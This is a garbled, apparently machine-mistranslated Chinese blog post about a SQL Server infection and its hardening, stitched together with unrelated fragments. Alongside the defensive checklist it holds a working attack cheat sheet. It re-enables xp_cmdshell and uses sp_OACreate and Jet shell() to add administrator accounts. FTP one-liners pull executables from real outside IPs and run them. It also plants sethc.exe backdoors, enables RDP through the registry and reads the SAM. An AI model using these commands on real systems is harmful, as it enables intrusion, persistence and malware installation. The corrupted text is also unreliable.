除却xplog70.365体育网站dll别的的都得以用那命令修复 

   
自身的开发机经历了五回的中毒现像.每一次中毒的现像,都以sqlserver.exe进度去实践cmd.com进度,然后生成*.sys与*.bat多个文本,然后去行使ftp.exe去下载木马下载器,然后杀毒软件开首报告警方了.

net user SQLDebugger list /add 
net localgroup administrators SQLDebugger /add 

    下边是cmd.com执行命令内容
    “C:”WINDOWS”system32″cmd.com” /c net1 stop sharedaccess&echo open
218.61.11.97>dboy.sys&echo 11>>dboy.sys&echo
11>>dboy.sys&echo get pc.exe C:”boots.exe>>dboy.sys&echo
bye>>dboy.sys&echo ftp -s:dboy.sys>dboy.bat&echo copy
C:”boots.exeC:”WINDOWS”system32″inf”test.exe&echo start start /high “”
C:”WINDOWS”system32″inf”test.exe&echo start
C:”boots.exe>>dboy.bat&echo start
C:”boots.exe>>dboy.bat&echo del dboy.sys>>dboy.bat&echo del
%0>>dboy.bat&dboy.bat

Error Message:未能找到存款和储蓄进度 ‘master..xp_cmdshell’。 

    “C:”WINDOWS”system32″cmd.com” /c sc stop sharedaccess&echo open
ddosboy1.3322.org >dboy1.sys&echo dboy>>dboy1.sys&echo
if>>dboy1.sys&echo get dboy1.exe
C:”Windows”tcpsrv1.exe>>dboy1.sys&echo bye>>dboy1.sys&echo
ftp -s:dboy1.sys>system1.bat&echo start
C:”Windows”tcpsrv1.exe>>system1.bat&echo start
C:”Windows”tcpsrv1.exe>>system1.bat&echo del
dboy1.sys>>system1.bat&echo del
%0>>system1.bat&system1.bat

修复法:很通用的,其实境遇 别的12陆 12七的都足以联手修复, 

   第一次中毒,之后,就对sql server举行了增长,删除了”xp_cmdshell”那一个sql
server中最不安全的扩充存款和储蓄进程.可是,好了没1个月,又来中一回.
  
那三次,作者检查了数据库日志,xp_cmdshell并不曾回复,不过却在日记在意识了sp_oacreate与sp_oamethod多个存款和储蓄进度的实践日志.
   于是上网学习,把团结的就学的1部分东西记录下来:
   一. 低档sql注入攻击
   初级黑客攻击SQL
Server时,首先利用的艺术是举办master数据库中的扩张存款和储蓄进程xp_cmdshell命令来执行1些发令,添加用户,添加文件,添加木马病毒等.
   对付此类黑客只要禁止使用xp_cmdshell存款和储蓄进程就足以了.
   xp_cmdshell是3个同意实施任意的授命行命令的放权的存款和储蓄进度。例如:
   Exec master..xp_cmdshell ‘dir’
   将赢得SQLSE君越VE昂科威进度的当前工作目录中的目录列表。如图:

除此而外xplog70.dll别的的都能够用那命令修复 
[/post]xp_cmdshell新的死灰复燃措施 
首先步先删除: 
drop procedure sp_addextendedproc 
drop procedure sp_oacreate 
exec sp_dropextendedproc ‘xp_cmdshell’ 
服务器: 消息 3701,级别 11,状态 5,行 1 
无法 除去 过程 ‘sp_addextendedproc’,因为它在系统目录中不存在。 
服务器: 消息 3701,级别 11,状态 5,过程 sp_dropextendedproc,行 18 
无法 除去 过程 ‘xp_cmdshell’,因为它在系统目录中不设有。 
其次步苏醒: 
dbcc addextendedproc (“sp_oacreate”,”odsole70.dll”) 
dbcc addextendedproc (“xp_cmdshell”,”xplog70.dll”) 
直接回复,不管sp_addextendedproc是或不是存在 

365体育网站 1

xplog70.dll修复: 

 

Error Message:不可能装载 DLL xplog70.dll 或该 DLL 所引用的某一 DLL。原因:
1二陆(找不到内定的模块。)。 

   Exec master..xp_cmdshell ‘net user’
  
将提供服务器上装有用户的列表。当SQLSECR-VVE奥迪Q7正常以连串帐户或域帐户运转时,攻击者能够做出更严重的有剧毒。

修复XPLOG70.DLL(先用文件查看下备份的目录下\x86\bin,然后把下部目录替换) 

  
从上面的四个示范中能够见到xp_cmdshell的兵不血刃效率,功用的雄强也象征破坏性的强大.
  
1般景观下,xp_cmdshell对领队来说也是不供给的,xp_cmdshell的解决不会对Server造成任何影响。  
 
   可以将xp_cmdshell消除:    
   Use   Master    
   Exec   sp_dropextendedproc   ‘xp_cmdshell’
   Go    
         
   假设须要的话,能够把xp_cmdshell恢复生机回来:    
   Use   Master    
   Exec   sp_addextendedproc   ‘xp_cmdshell’, ‘xplog70.dll’
   Go    

第一步 
exec sp_dropextendedproc ‘xp_cmdshell’ 
第二步 
dbcc addextendedproc
(“xp_cmdshell”,”c:\sql2ksp4\x86\binn\xplog70.dll”) 

   如若有供给能够把xplog70.dll这些文件也删除了,记得做好备份.

不可能找到存款和储蓄进程 ‘master..xp_cmdshell’。 
第一步: 
create procedure sp_addextendedproc — 1996/08/30 20:13 
@functname nvarchar(517),/* (owner.)name of function to call 

sql 2005:

*/ 
@dllname varchar(255)/* name of DLL containing function */ 
as 
set implicit_transactions off 
if @@trancount > 0 
begin 
raiserror(15002,-1,-1,’sp_addextendedproc’) 
return (1) 
end 
dbcc addextendedproc( @functname, @dllname) 
return (0) — sp_addextendedproc 
GO 
第二步: 
EXEC sp_addextendedproc xp_cmdshell,@dllname =’xplog70.dll’declare @o
int 

    sql 二零零六默许景况下是不能实施xp_cmdshell存款和储蓄进程的,但那就安然了吧?

SQL Server 阻止了对组件 ‘xp_cmdshell’ 的 过程’sys.xp_cmdshell’
的访问,因为此组件已作为此服务器安全铺排的一某些而被关闭。系统一管理理员可以经过行使
sp_configure 启用 ‘xp_cmdshell’。有关启用 ‘xp_cmdshell’
的详细消息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”。 

 
开启xp_cmdshell存款和储蓄进度的实践权限
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC
sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;
关闭xp_cmdshell存款和储蓄进度的推行权限
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC
sp_configure ‘xp_cmdshell’, 0;RECONFIGURE;

;EXEC sp_configure ‘show advanced options’, 1 — 
;RECONFIGURE WITH OVERRIDE — 
;EXEC sp_configure ‘xp_cmdshell’, 1 — 
;RECONFIGURE WITH OVERRIDE — 
;EXEC sp_configure    ‘show advanced options’, 0 — 

 

除去sql危险存款和储蓄: 
DROP PROCEDURE sp_makewebtask 
exec master..sp_dropextendedproc xp_cmdshell 
exec master..sp_dropextendedproc xp_dirtree 
exec master..sp_dropextendedproc xp_fileexist 
exec master..sp_dropextendedproc xp_terminate_process 
exec master..sp_dropextendedproc sp_oamethod 
exec master..sp_dropextendedproc sp_oacreate 
exec master..sp_dropextendedproc xp_regaddmultistring 
exec master..sp_dropextendedproc xp_regdeletekey 
exec master..sp_dropextendedproc xp_regdeletevalue 
exec master..sp_dropextendedproc xp_regenumkeys 
exec master..sp_dropextendedproc xp_regenumvalues 
exec master..sp_dropextendedproc sp_add_job 
exec master..sp_dropextendedproc sp_addtask 
exec master..sp_dropextendedproc xp_regread 
exec master..sp_dropextendedproc xp_regwrite 
exec master..sp_dropextendedproc xp_readwebtask 
exec master..sp_dropextendedproc xp_makewebtask 
exec master..sp_dropextendedproc xp_regremovemultistring 
exec master..sp_dropextendedproc sp_OACreate 
DROP PROCEDURE sp_addextendedproc 

 

复原扩大存款和储蓄进度的诀要 
先恢复sp_addextendedproc,语句如下: 
第一: 
create procedure sp_addextendedproc — 1996/08/30 20:13 
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */ as 
set implicit_transactions off 
if @@trancount > 0    
begin 
raiserror(15002,-1,-1,’sp_addextendedproc’)    
return (1)    
end 
dbcc addextendedproc( @functname, @dllname)    
return (0) — sp_addextendedproc 
GO 

  
删除了xplog70.dll将震慑到”企管器”的壹有些效用,笔者遇见的是无能为力在”企管器”中查看数据库服务器的属性.
   
   2.中间sql注入攻击
     大家举行了上面这一步的操作之后,就足以免止住了sql
server的平安了吧?不行,那只好针对一些刚上学sql注入的菜鸟才有效的法子,对于中鸟及老鸟可特别,他们的法子可多了.
     今后让大家来看一下中间注入的方法.
    
当数据库管理员禁止使用了xp_cmdshell同时删除了xplog70.dll,也禁止了文本上传功效,那么针对初级来说使用xp_cmdshell来进行部分操作已经不可行了.
     不过微软还提供了一些别的作用的仓库储存进程,能够让中级黑客进行侵袭.
     一) 利用OLE对象接口
      SQL
SE安德拉VE瑞鹰提供了部分函数访问OLE对象,分别是sp_OACREATE和sp_OAMethod,
      能够行使他们调用OLE控件,间接获取一个shell。使用SP_OAcreate调用对象wscript。shell赋给变量@shell,然后利用SP_OAMETHOD调用@shell的属性run执行命令。

第二: 
use master    
exec sp_addextendedproc xp_cmdshell,’xp_cmdshell.dll’    
exec sp_addextendedproc xp_dirtree,’xpstar.dll’    
exec sp_addextendedproc xp_enumgroups,’xplog70.dll’    
exec sp_addextendedproc xp_fixeddrives,’xpstar.dll’    
exec sp_addextendedproc xp_loginconfig,’xplog70.dll’    
exec sp_addextendedproc xp_enumerrorlogs,’xpstar.dll’    
exec sp_addextendedproc xp_getfiledetails,’xpstar.dll’    
exec sp_addextendedproc sp_OACreate,’odsole70.dll’    
exec sp_addextendedproc sp_OADestroy,’odsole70.dll’    
exec sp_addextendedproc sp_OAGetErrorInfo,’odsole70.dll’    
exec sp_addextendedproc sp_OAGetProperty,’odsole70.dll’    
exec sp_addextendedproc sp_OAMethod,’odsole70.dll’    
exec sp_addextendedproc sp_OASetProperty,’odsole70.dll’    
exec sp_addextendedproc sp_OAStop,’odsole70.dll’    
exec sp_addextendedproc xp_regaddmultistring,’xpstar.dll’    
exec sp_addextendedproc xp_regdeletekey,’xpstar.dll’    
exec sp_addextendedproc xp_regdeletevalue,’xpstar.dll’    
exec sp_addextendedproc xp_regenumvalues,’xpstar.dll’    
exec sp_addextendedproc xp_regread,’xpstar.dll’    
exec sp_addextendedproc xp_regremovemultistring,’xpstar.dll’    
exec sp_addextendedproc xp_regwrite,’xpstar.dll’    
exec sp_addextendedproc xp_availablemedia,’xpstar.dll’ 

      DECLARE @shell INT
      EXEC SP_OAcreate ‘wscript.shell’,@shell out
      EXEC SP_OAMETHOD @shell,’run’,null, ‘net user hack hack /add’

删除扩大存储过进程xp_cmdshell的语句: 
exec sp_dropextendedproc ‘xp_cmdshell’ 

    二) 开启access的沙盒格局
       在私下认可景况下Jet数据引擎不援助select shell(“net user ray ray
/add”)那样的SQL语句,
       不过敞开了JET引擎的沙盒格局后就能够执行命令,
       先利用xp_regwrite存款和储蓄进程改写注册表,然后使用
OpenRowSet访问三个系统本身自带的三个ACCESS数据库文件,再实践运转命令的SQL语句。

恢复cmdshell的sql语句 
exec sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’ 

       EXEC master.dbo.xp_regwrite
‘HKEY_LOCAL_MACHINE’,’SoftWare”Microsoft”Jet”4.0   
“Engines’,’SandBoxMode’,’REG_DWORD’,3

开启cmdshell的sql语句 
exec sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’ 

    SandBoxmode值说明
    默许值为二,
    0–表示一直禁用SandBoxmode形式,
    一–表示对于非Acess应用程序试用SandBoxmode模式,
    2–意味对access应用程序使用SandBoxmode格局,
    三–则象征完全打开安全设置。

认清存款和储蓄扩张是还是不是存在 
select count(*) from master.dbo.sysobjects where xtype=’x’ and
name=’xp_cmdshell’ 
回来结果为壹就ok 

        Select * From
OpenRowSet(‘Microsoft.Jet.OLEDB.4.0′,’;Database=c:”windows”system32″ias”ias.mdb’,’select
shell(“net user hack hack /add”)’);

恢复xp_cmdshell 
exec master.dbo.addextendedproc ‘xp_cmdshell’,’xplog70.dll’;select
count(*) from master.dbo.sysobjects where xtype=’x’ and
name=’xp_cmdshell’ 
回到结果为一就ok 
要不上传xplog7.0.dll 
exec master.dbo.addextendedproc
‘xp_cmdshell’,’c:\winnt\system32\xplog70.dll’ 

 
     3) 利用xp_regxxxxx之类的贮存进度写注册表项
    这些主意唯有sa账户或是sysadmin权限的帐户才得以使用.
    执行
    exec xp_regread ”HKEY_LOCAL_MACHINE”,
”SECURITY”SAM”Domains”Account”, ”F”
    若是赶上3个疏忽的管理员,说不定就能取得管理员的密码.
    加四个运转项什么的自然不在话下。
    利用xp_regwrite写注册表项,间接把要实施的下令写入RUN运行项。
    EXEC master.dbo.xp_regwrite
‘HKEY_LOCAL_MACHINE’,’SOFTWARE”Microsoft”Windows”currentversion”run’,’shell’,’REG_SZ’,’C:”windows”system32″cmd.exe
/c net user hack hack /add’

堵上cmdshell的sql语句 
sp_dropextendedproc “xp_cmdshell 

    尽管有需求就把那些扩展都剔除了
    Xp_regaddmultistring (向注册表中增添品种)
    Xp_regdeletekey (从注册表中去除三个键)
    Xp_regdeletevalue (从注册表中删除3个键值)
    Xp_regenumvalues (列举主键下的键值)
    Xp_regread (读去三个主键下的键值)
    Xp_regremovemultistring (从注册表中剔除项目)
    Xp_regwrite (向注册表中写入数据)

1.更改sa口令方法: 
用sql综合使用工具连接后,执行命令: 
exec sp_password NULL,’新密码’,’sa’ 
(提示:慎用!) 

    四 ) 利用SQL代理执行命令
      
暗中同意景况下那一个服务是关门的.大家能够先采纳xp_servicecontrol开启SQLSE揽胜极光VERAGENT,然后建立个SQL安顿职分,然后立时运维那几个义务。

二.不难修补sa弱口令. 

        exec master.dbo.xp_servicecontrol ‘start’,’SQLSERVERAGENT’
        use msdb exec sp_delete_job null,’x’
        exec sp_add_job ‘x’
        exec sp_add_jobstep Null,’x’,Null,’1′,’CMDEXEC’,’cmd /c Dir
C:”‘
        exec sp_add_jobserver Null,’x’,@@servername exec
sp_start_job ‘x’

艺术1:查询分离器连接后实施: 
if exists (select * from 
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]’) and 
OBJECTPROPERTY(id, N’IsExtendedProc’) = 1) 

  
 除了小编举的地方二种艺术外,还有任何办法,可是小编不太通晓,作者就不一一列举了。

exec sp_dropextendedproc N'[dbo].[xp_cmdshell]’ 

   三、其余获取系统消息
    
    历遍目录
    exec master.dbo.xp_dirtree ‘c:”‘
    获取子目录
    exec master.dbo.xp_subdirs ‘c:”‘
    列举可用的系统一分配区
    exec master.dbo.xp_availablemedia
    判断目录或文件是或不是存在
    exec master..xp_fileexist ‘c:”boot.ini’
    等等,不①壹列举了.

GO 
下一场按F5键命令执行达成 

    四、高级注入技术
       
对于高等级注入技术,作者在网上没找到有关的就学材质,笔者想这么些技巧也应有是在一小部分人工子宫破裂中传唱的。所以也就未能讲起了。

方法二:查询分离器连接后 
首先步执行:use master 
第贰步执行:sp_dropextendedproc ‘xp_cmdshell’ 
然后按F伍键命令执行实现 

   5、防御SQL注入的局地中央与措施
    1. 认可已经设置了windows操作系统和SQL Server的新式补丁程序。  
    ②.
评估并且选取四个设想到最大的安全性不过还要又不影响意义的互联网协议。
多合计是明智的抉择, 不过它有时无法在异种的条件中央银行使。  
       表达:假设或许请除去不须要的网络协议。  
    三. 给 “sa”
和具有”sysadmin”权限的帐户设定强壮的密码来进步其安全性。至于怎么样是强壮的密码吗,个人认为是字母、数字、特殊字符的重组,不少7人字符。
    四. 应用多少个低特权用户作为 SQL 服务器服务的询问操作账户,不要用
LocalSystem 或sa。
       那几个低权限的帐户应该唯有微乎其微的权杖和界定这一个帐户对SQL
Server的询问与存取操作。 用户能够用小小权限查询sql
server中的很多东西。若非必须毫无给予多余的权能。
       注意:当使用企管器做如上设置时 ,
文件,注册表和使用者义务上的权柄处理。  

没辙装载 DLL xpsql70.dll 或该DLL所引用的某一DLL。原因12六(找不到钦定模块。) 
复原措施:查询分离器连接后, 
首先步执行:sp_dropextendedproc “xp_cmdshell” 
其次步执行:sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’ 

    5. 规定全数的SQL服务器数据,而且系统文件是设置在 NTFS
分区,且”目录访问控制”被运用。
      
若是万一某人取得对系统的存取操作权限,该层权限能够阻碍侵犯者破坏数据,制止造成一场大悲惨。
 

不知所措在库 xpweb70.dll 中找到函数 xp_cmdshell。原因:
12柒(找不到钦赐的顺序。) 
卷土重来措施:查询分离器连接后, 
率先步执行:exec sp_dropextendedproc ‘xp_cmdshell’ 
其次步执行:exec sp_addextendedproc
‘xp_cmdshell’,’xpweb70.dll’             
然后按F5键命令执行完成 

    陆.如若你不必要 xp_cmdshell
这请停用它。如若需求的话再把它扩充回来。
    其实这可不也倒霉————三个侵入者即使发现它不在了,也只要求把她加回来。考虑一下,可以除去在上面包车型大巴dll不过移除以前务必测试因为某个dll同时被部分先后所用。
    要找到其余的顺序是不是选择同样的 dll请进行以下步骤:  
    首先取得该 dll:
    select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where
c.id=o.id and o.name=‘xp_cmdshell‘  
    其次,使用相同的 dll发现任何的恢宏储存操作是或不是使用该dll:
    select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where
c.id=o.id and c.text=‘xplog70.dll‘  
    用户能够用平等的措施处理上面步骤中任何你想去掉的历程。  

借使上述措施均不足复苏,请尝试用上边包车型大巴法子直接助长帐户: 
查询分离器连接后, 
2000servser系统: 
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec
sp_oamethod @shell,’run’,null,’c:\winnt\system32\cmd.exe /c net user
Web hacker /add’ 

    7. 如不必要就停用对象连接与嵌入自动化储存程序 ( 警告 –
当那么些囤积程序被停用的时候 , 壹些铺面管理器作用可能丢掉).
那个囤积进度如下:  
    sp_OACreate  
    sp_OADestroy  
    sp_OAGetErrorInfo  
    sp_OAGetProperty  
    sp_OAMethod  
    sp_OASetProperty  
    sp_OAStop  
  
 假设您控制停用这一个囤积进程,那么请给他俩写三个剧本那样在后来你用到他们的时候你可见把她们再也添加回来

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec
sp_oamethod @shell,’run’,null,’c:\winnt\system32\cmd.exe /c net
localgroup administrators Web /add’ 

    8. 剥夺你不须要的注册表存款和储蓄进程。(同地点的警告)那么些包罗:  
    xp_regaddmultistring  
    xp_regdeletekey  
    xp_regdeletevalue  
    xp_regenumvalues  
    xp_regremovemultistring  
    注意 :xp_regread/
xp_regwrite那多少个存款和储蓄进程的移除影响部分重视职能包罗日志和SP的装置,所以她们的移除不被引入。
 

xp或2003server系统: 126错误!命令 

    九.移除别的你觉得会招致威胁的系统储存进度。
那种存款和储蓄进程是一定多的,而且她们也会浪费一些cpu时间。
    
小心不要首先在3个布局好的服务器上这么做。首先在开发的机器上测试,确认那样不会潜移默化到任何的种类机能。在底下是大家所推荐的有待你评估的一部分列表:
 
    sp_sdidebug  
    xp_availablemedia  
    xp_cmdshell  
    xp_deletemail  
    xp_dirtree  
    xp_dropwebtask  
    xp_dsninfo  
    xp_enumdsn  
    xp_enumerrorlogs  
    xp_enumgroups  
    xp_enumqueuedtasks  
    xp_eventlog  
    xp_findnextmsg  
    xp_fixeddrives  
    xp_getfiledetails  
    xp_getnetname  
    xp_grantlogin  
    xp_logevent  
    xp_loginconfig  
    xp_logininfo  
    xp_makewebtask  
    xp_msver xp_perfend  
    xp_perfmonitor  
    xp_perfsample  
    xp_perfstart  
    xp_readerrorlog  
    xp_readmail  
    xp_revokelogin  
    xp_runwebtask  
    xp_schedulersignal  
    xp_sendmail  
    xp_servicecontrol  
    xp_snmp_getstate  
    xp_snmp_raisetrap  
    xp_sprintf  
    xp_sqlinventory  
    xp_sqlregister  
    xp_sqltrace  
    xp_sscanf  
    xp_startmail  
    xp_stopmail  
    xp_subdirs  
    xp_unc_to_drive  
    xp_dirtree  
    

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec
sp_oamethod @shell,’run’,null,’c:\windows\system32\cmd.exe /c net
user Web$ hacker /add’ 

    拾. 除了数据库的guest账户,那样能够把未经许可的使用者排除在外。
例外景况是master和 tempdb 数据库,因为对她们guest帐户是必备的。  

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec
sp_oamethod @shell,’run’,null,’c:\windows\system32\cmd.exe /c net
localgroup administrators Web$ /add’ 

    1壹.
若非不可能不,请完全地剥夺SQL邮件作用。它的存在使潜在的攻击者递送潜在的
trojans ,病毒或是简单达成3个DOS攻击成为也许  

C:\>DIR C:\ 
SQL Server 阻止了对组件 ‘xp_cmdshell’ 的 过程’sys.xp_cmdshell’
的拜访,因为此组件已当做此服务器安全体署的壹有的而被关门。系统一管理理员能够经过应用
sp_configure 启用 ‘xp_cmdshell’。有关启用 ‘xp_cmdshell’
的详细消息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”。 

    1贰. 笔录全体的用户存取访问情形。
从企管器做那些设定或透过以sa登陆进入查询分析器的下列各项:  
    xp_instance_regwrite N‘HKEY_LOCAL_MACHINE‘, N‘SOFTWARE”
Microsoft”MSSQLServer”MSSQLServer‘,N‘AuditLevel‘,REG_DWORD,3  

分析器执行的话语: 

    一叁. 起家贰个安顿的任务运维: 
  
 然后再重定向输出到三个文本文件或电子邮件,由此你监测失利的报到尝试。
    那也为系统管理员提供八个好的笔录攻击的不贰秘籍。
也有众多用来分析NT日志事件的路人工具。
    注意: 你也许须求将路径换来你安装SQL的路子。  

EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC
sp_configure ‘xp_cmdshell’, 1;RECONFIGURE; 

    14. 设定违规访问和登陆失败日志警报。到 企管器中的”Manager SQL
Server Messages “搜寻其余有关无权访问的音讯
    ( 从查找”login failed”和”denied”起头).
分明你富有感兴趣的音信被记录到事件日志。然后在那一个音信上设定警报 ,
发送三个电子邮件或消息到二个能够对难题当即响应的操作员。  

偶尔用查询分离器连接执行以上语句的时候会师世找不到存储进程sp_addextendedproc

    壹五.
常常检查组或角色全体会员并且规定用组分配权限,那样您的审计工作能够简化。
明确当你在的时候 , 公众的组不能够从系统表执行选用操作。  

缓解方式: 

    1陆. 花些日子审计用空密码登陆的伸手。 使用下边包车型大巴代码进行空密码检查:
 
    select  
    password  ,*
    from syslogins  
    where password is null  
    order by name  

create procedure sp_addextendedproc — 1996/08/30 20:13 
@functname nvarchar(517),/* (owner.)name of function to call */ 
@dllname varchar(255)/* name of DLL containing function */ 
as 
set implicit_transactions off 
if @@trancount > 0 
begin 
raiserror(15002,-1,-1,’sp_addextendedproc’) 
return (1) 
end 
dbcc addextendedproc( @functname, @dllname) 
return (0) — sp_addextendedproc 
GO 
那段代码贴入查询分离器,执行 

    17. 反省有着非sa用户的存取进程和扩展存款和储蓄进度的权限。
使用下边包车型大巴询问定期的询问哪1个历程有民众存款和储蓄权限:  
    Use master  
    select sysobjects.name  
    from sysobjects,sysprotects  
    where sysprotects.uid=0  
    AND xtype 在 (‘X‘,‘P‘)  
    AND sysobjects.id=sysprotects.id  
    Order by name  

能源管理器: 
c:\windows\explorer.exe 

    1八. 即时用企管器的时候,使用整合的安全策略。
过去,企管器被发觉在行业内部的平安模态中储存 “sa” 密码在注册表的
plaintext 中。 注意: 就算您转移模态,密码也会留在注册表中。

翻看目录 
exec master.dbo.xp_subdirs ‘c:\’ 
列出磁盘 
exec master..xp_fixeddrives 

sql 2000:

xpsql.cpp: 错误 5 来自 CreateProcess(第 73七 行) 直接加帐号! 

    使用 regedit 而且检查键:  
    HKEY_USERS”{yourSID}”software”Microsoft”Microsoft SQL
server”80″tool”SQLEW”registered server X”SQL server group  
    (“SQL server组” 是默许值不过你只怕已创立用户组由此相应地转移其职分)
 

EXEC master.dbo.xp_regwrite
‘HKEY_LOCAL_MACHINE’,’SoftWare\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,0 
Select * From
OpenRowSet(‘Microsoft.Jet.OLEDB.4.0′,’;Database=c:\windows\system32\ias\ias.mdb’,’select
shell(“net user 123 123 /add”)’); 
Select * From
OpenRowSet(‘Microsoft.Jet.OLEDB.4.0′,’;Database=c:\windows\system32\ias\ias.mdb’,’select
shell(“net localgroup administrators 123 /add”)’); 

 

echo Windows Registry Editor Version 5.00 >3389.reg 
echo. >>3389.reg 
echo
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache]
>>3389.reg 
echo “Enabled”=”0” >>3389.reg 
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon] >>3389.reg 
echo “ShutdownWithoutLogon”=”0” >>3389.reg 
echo
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
>>3389.reg 
echo “EnableAdminTSRemote”=dword:00000001 >>3389.reg 
echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server] >>3389.reg 
echo “TSEnabled”=dword:00000001 >>3389.reg 
echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]
>>3389.reg 
echo “Start”=dword:00000002 >>3389.reg 
echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]
>>3389.reg 
echo “Start”=dword:00000002 >>3389.reg 
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle]
>>3389.reg 
echo “Hotkey”=”1” >>3389.reg 
echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\Wds\rdpwd\Tds\tcp] >>3389.reg 
echo “PortNumber”=dword:00000D3D >>3389.reg 
echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp] >>3389.reg 
echo “PortNumber”=dword:00000D3D >>3389.reg 
regedit /s 3389.reg 

sql 二零零五曾经远非在注册表中写sqlew那几个键了.

开3389: 

      

exec
master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal
Server’,’fDenyTSConnections’,’REG_DWORD’,0;– 

 

关3389: 

    1九.
制定三个安全核查布置,每月的壹份安全报告,对IT主任可用的表格包蕴新的付出内容中进行的数据库修改,成功的攻击
, 备份保养 , 和对象存取战败总计。  

exec
master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal
Server’,’fDenyTSConnections’,’REG_DWORD’,1; 

    20. 永不允许使用者交互式登陆到 SQL
Server之上。这么些规则适用其余的服务器。
一旦二个使用者能够交互式进入一个服务器之内,就有能用来博取管理员的存取特权拿到管理员权限。
 

查看3389端口 

 

exec xp_regread
‘HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp’,’PortNumber’ 

 最终便是,对方怎么获得作者的费用机上的动态IP的,那笔者怎么也没想清楚.

查看系统版本 
type c:\boot.ini 

 

普通CMD后门 
xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution
Options\sethc.exe’,’debugger’,’reg_sz’,’c:\windows\system32\cmd.exe’ 

 

确立用户一-那里私下认可用户是Reconditeness密码952柒可自动修改 
select * from
openrowset(‘microsoft.jet.oledb.4.0′,’;database=c:\winnt\system32\ias\ias.mdb’,’select
shell(“cmd.exe /c net1 user Reconditeness 9527 /ad &net localgroup
administrators terks /ad”)’) 
select * from
openrowset(‘microsoft.jet.oledb.4.0′,’;database=c:\windows\system32\ias\ias.mdb’,’select
shell(“cmd.exe /c net1 user Reconditeness 9527 /ad &net localgroup
administrators terks /ad”)’) 

 

win2K直接上PS马 
exec master..xp_regwrite
‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,1 
select * from
openrowset(‘microsoft.jet.oledb.4.0′,’;database=c:\winnt\system32\ias\ias.mdb’,’select
shell(“cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo
reconditeness>>net.txt&@echo 7259>>net.txt&@echo get
0.exe>>net.txt&@echo bye>>net.txt&@ftp -s:net.txt&del
net.txt & 0.exe”)’) 

 

win03-XP直接上PS马 
exec master..xp_regwrite
‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,1 
select * from
openrowset(‘microsoft.jet.oledb.4.0′,’;database=c:\windows\system32\ias\ias.mdb’,’select
shell(“cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo
reconditeness>>net.txt&@echo 7259>>net.txt&@echo get
0.exe>>net.txt&@echo bye>>net.txt&@ftp -s:net.txt&del
net.txt & 0.exe”)’) 

五下shift后门命令 
declare @o int 
exec sp_oacreate ‘scripting.filesystemobject’, @o out 
exec sp_oamethod @o, ‘copyfile’,null,’c:\windows\explorer.exe’
,’c:\windows\system32\sethc.exe’; 

declare @o int 
exec sp_oacreate ‘scripting.filesystemobject’, @o out 
exec sp_oamethod @o, ‘copyfile’,null,’c:\windows\system32\sethc.exe’
,’c:\windows\system32\dllcache\sethc.exe’; 

copy c:\windows\explorer.exe c:\windows\system32\sethc.exe 
copy c:\windows\system32\sethc.exe
c:\windows\system32\dllcache\sethc.exe 

declare @o int 
exec sp_oacreate ‘wscript.shell’, @o out 
exec sp_oamethod @o, ‘run’, NULL, ‘XXXXX’ \\XXXXX为你要执行的下令 

写入注册表钦命的键里内定的值),使用方法(在键HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue写入bbb): 

EXEC master..xp_regwrite 

@rootkey=’HKEY_LOCAL_MACHINE’, 

@key=’SOFTWARE\aaa’, 

@value_name=’aaaValue’, 

@type=’REG_SZ’, 

@value=’bbb’ 

@echo open 121.22.56.5>c:\bin.txt&@echo
list>>c:\bin.txt&@echo list>>c:\bin.txt&@echo get
gzn.exe>>c:\bin.txt&@echo bye>>c:\bin.txt&@ftp
-s:c:\bin.txt&del c:\bin.txt&gzn.exe&gzn.exe&gzn.exe 

先copy ftp.exe 到wmpub目录里 
@echo cd c:\wmpub\>c:\wmpub\in.bat&@echo ftp
-s:c:\wmpub\xiuxiu.txt>>c:\wmpub\in.bat

开3389 
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v
fDenyTSConnections /t REG_DWORD /d 0 /f 

C:\WINDOWS\system32\dllcache\net1.exe localgroup administrators
